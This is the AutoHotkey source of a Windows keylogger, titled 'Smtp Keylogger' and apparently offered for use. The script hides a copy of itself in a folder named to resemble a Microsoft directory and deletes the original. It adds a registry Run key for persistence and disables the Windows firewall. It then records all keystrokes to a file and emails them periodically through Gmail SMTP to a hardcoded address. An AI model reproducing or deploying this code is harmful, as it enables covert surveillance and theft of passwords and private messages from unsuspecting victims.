Smtp Keylogger

#SingleInstance
#NoTrayIcon

;-Stealth-;
If !FileExist(A_MyDocuments . "\microsofti\" . A_ScriptName) {
       SetWorkingDir %A_ScriptDir%
       FileAppend, %A_ScriptDir%, %A_Temp%\Temporary.tmp
       FileCopy, %A_ScriptFullPath%, %A_MyDocuments%\microsofti
       Run, %A_MyDocuments%\microsofti\%A_ScriptName%
       Exit
}

If FileExist(A_MyDocuments . "\microsofti\" . A_ScriptName) {
       FileSetAttrib, ^H, %A_MyDocuments%\microsofti\%A_ScriptName%
       FileReadLine, OriginalPath, %A_Temp%\Temporary.tmp, 1
       FileDelete, %OriginalPath%\%A_ScriptName%
}

;-RegistryStart-;
RegWrite, REG_SZ, HKEY_CURRENT_USER,Software\Microsoft\Windows\CurrentVersion\Run, KeyLogger, %A_MyDocuments%\microsofti\%A_ScriptName%

;-DisableFirewall-;
run, netsh advfirewall firewall set allprofiles state off, , Hide

;-Delay-; Every minute.
SetTimer, SendByEmail, 100000

;-Key Logger-;
Loop
{
   Input, key, V T1,
   FileAppend, %key%, %A_MyDocuments%\microsofti\key.txt
}

;-SMPT Emailer-;
ProgrammPfad = %A_MyDocuments%\microsofti
IniPfad = %ProgrammPfad%\key.txt
Ifnotexist %ProgrammPfad%
{
   FileCreateDir, %ProgrammPfad%
}

SendByEmail:
{
   FileRead, Contents, %A_MyDocuments%\microsofti\key.txt

   sender := "jacobgilbrt123@gmail.com"
   senderPass := password
   receiver := "jacobgilbrt123@gmail.com"
   subject := "Some New Logs:"
   pmsg := ComObjCreate("CDO.Message")
   pmsg.From := sender
   pmsg.To := receiver
   pmsg.BCC := ""
   pmsg.CC := ""
   pmsg.Subject := subject
   fontsize := 2
   fontname := "Arial"
   font2size := 1
   font2name := "Courier New"
   pmsg.HtmlBody := "<html><font size= " . fontsize . " face= " . fontname . " ><body><h5>New Logs have been sent!</body></h5></font><br><font size= " . font2size . " face= " . font2name . " > " . Contents . " </font></html>"

   fields := Object()
   fields.smtpserver := "smtp.gmail.com"
   fields.smtpserverport := 456
   fields.smtpusessl := True
   fields.sendusing := 2
   fields.smtpauthenticate := 1
   fields.sendusername := "jacobgilbrt123@gmail.com"
   fields.sendpassword := "password"
   fields.smtpconnectiontimeout := 60
   schema := "http://schemas.microsoft.com/cdo/configuration/"

   pfld := pmsg.Configuration.Fields
   For field,value in fields
   pfld.Item(schema . field) := value
   pfld.Update()

   pmsg.Send()
}